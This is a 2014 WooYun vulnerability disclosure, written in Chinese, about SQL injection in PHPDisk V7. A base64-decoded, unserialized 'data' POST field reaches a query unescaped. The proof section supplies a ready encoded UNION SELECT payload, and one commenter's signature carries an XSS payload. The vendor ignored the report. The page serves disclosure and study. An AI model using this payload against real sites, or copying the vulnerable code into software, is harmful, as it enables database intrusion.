当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056822

漏洞标题:phpdisk V7 sql注入2

相关厂商:phpdisk.com

漏洞作者: ′雨。

提交时间:2014-04-13 18:10

修复时间:2014-07-09 18:11

公开时间:2014-07-09 18:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-13: 细节已通知厂商并且等待厂商处理中
2014-04-18: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-12: 细节向核心白帽子及相关领域专家公开
2014-06-22: 细节向普通白帽子公开
2014-07-02: 细节向实习白帽子公开
2014-07-09: 细节向公众公开

简要描述:

周末回家,挖洞玩玩。
刚从官网上面下载的。
过滤不严。

详细说明:

在ajax.php中

case 'uploadCloud':
$folder_id = (int)gpc('folder_id','P',0);
$folder_id = $folder_id ? $folder_id : -1;
$data = trim(gpc('data','P',''));
$is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1;
if($settings['all_file_share']){
$in_share = 1;
}else{
$in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'");
}
if($data){
$file_key = random(8);
if(strpos($data,',')!==false){
$add_sql = $msg = '';
$arr = explode(',',$data);
for($i=0;$i<count($arr)-1;$i++){
$file = unserialize(base64_decode($arr[$i]));
//print_r($file);
//exit;
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg .= $file[file_name].$tmp_ext.',';
}else{
$add_sql .= "($file[file_id],'$file[file_name]','$file_key','$file[file_extension]','application/octet-stream','$file[file_description]','$file[file_size]','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),";
}
}
if($add_sql){
$add_sql = is_utf8() ? $add_sql : iconv('utf-8','gbk',$add_sql);
$add_sql = substr($add_sql,0,-1);
$db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;");
}
}else{
$file = unserialize(base64_decode($data));
//write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab');
//print_r($file);
//exit;
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");


来利用下面的这个else里面的来注入把。

lse{
$file = unserialize(base64_decode($data));
//write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab');
//print_r($file);
//exit;
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");


在这里 $data = trim(gpc('data','P','')); data是我们可控的。
虽然全局转义 但是在这里会对他进行一次解码
然后对他先解码一次 然后再反序列一次。
$file[file_id]
然后将这个就带入了查询当中、
Come and sql it。

漏洞证明:

首先在本地对语句进行序列化 然后再encode一次 得到
YToxOntzOjc6ImZpbGVfaWQiO3M6MTk6ImFhJyBVTklPTiBTRUxFQ1QgMSMiO30=
这里我直接把语句输出来把。

$file = unserialize(base64_decode($data));
//write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab');
//print_r($file);
//exit;
$sql="select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'";
echo $sql;exit;
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");


然后提交 得到。

p2.jpg


看这语句。 不用多说了把。

修复方案:

过滤it.

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-09 18:11

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-13 19:10 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    好久没上过首页了。

  2. 2014-04-13 20:32 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    @′ 雨。 扯淡 你天天上首页!

  3. 2014-04-13 21:04 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    @魇 扯蛋, 周1-5 都在学校上课 怎么可能上首页,

  4. 2014-04-13 21:21 | U神 ( 核心白帽子 | Rank:1285 漏洞数:87 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @′ 雨。 为了防止你刷rank,将刚上首页的phpdisk V7 sql盲注一枚撤下,然后再将这个sql注入上挂首页!哈哈! @xsser 对不!

  5. 2014-04-13 21:41 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    @U神 表示有几次都是 上了首页 过了一会又成小厂商了, 3 个左右了

  6. 2014-04-13 21:52 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    @xsser 现在还能这样么。

  7. 2014-04-13 22:36 | U神 ( 核心白帽子 | Rank:1285 漏洞数:87 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @′ 雨。 主要是rank管的越来越严了

  8. 2014-04-13 23:53 | Mody ( 普通白帽子 | Rank:110 漏洞数:24 | "><img src=x onerror=alert(1);> <img s...)

    @′ 雨。 扯淡 你天天上首页!

  9. 2014-04-14 12:13 | 走火入魔 ( 路人 | Rank:18 漏洞数:2 | 多读书,多看报,少吃零食,多睡觉。)

    @′ 雨。 大牛 有木有~~~~

  10. 2014-05-08 22:19 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    @′ 雨。大神 我想问一个语法问题$file = $data;$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id ]}' and userid='$pd_uid'"); 这里的$file[file_id]变量从哪里获取 file从data获取的base64加密的值 他是怎么什么都不处理就变成一个数组的?

  11. 2014-05-08 22:20 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @只发通用型 unserialize

  12. 2014-05-08 22:22 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    @只发通用型 @xsser 正解,

  13. 2014-05-08 22:30 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    @′ 雨。 @xsser 这样也得不到$file[file_id ]的值啊 我一个元素是$file[file_id ]啊 var_dump的结果是 string 'YToxOntzOjc6ImZpbGVfaWQiO3M6MTk6ImFhJyBVTklPTiBTRUxFQ1QgMSMiO30=' (length=64)

  14. 2014-05-08 22:33 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    @′ 雨。 @xsser soga get到了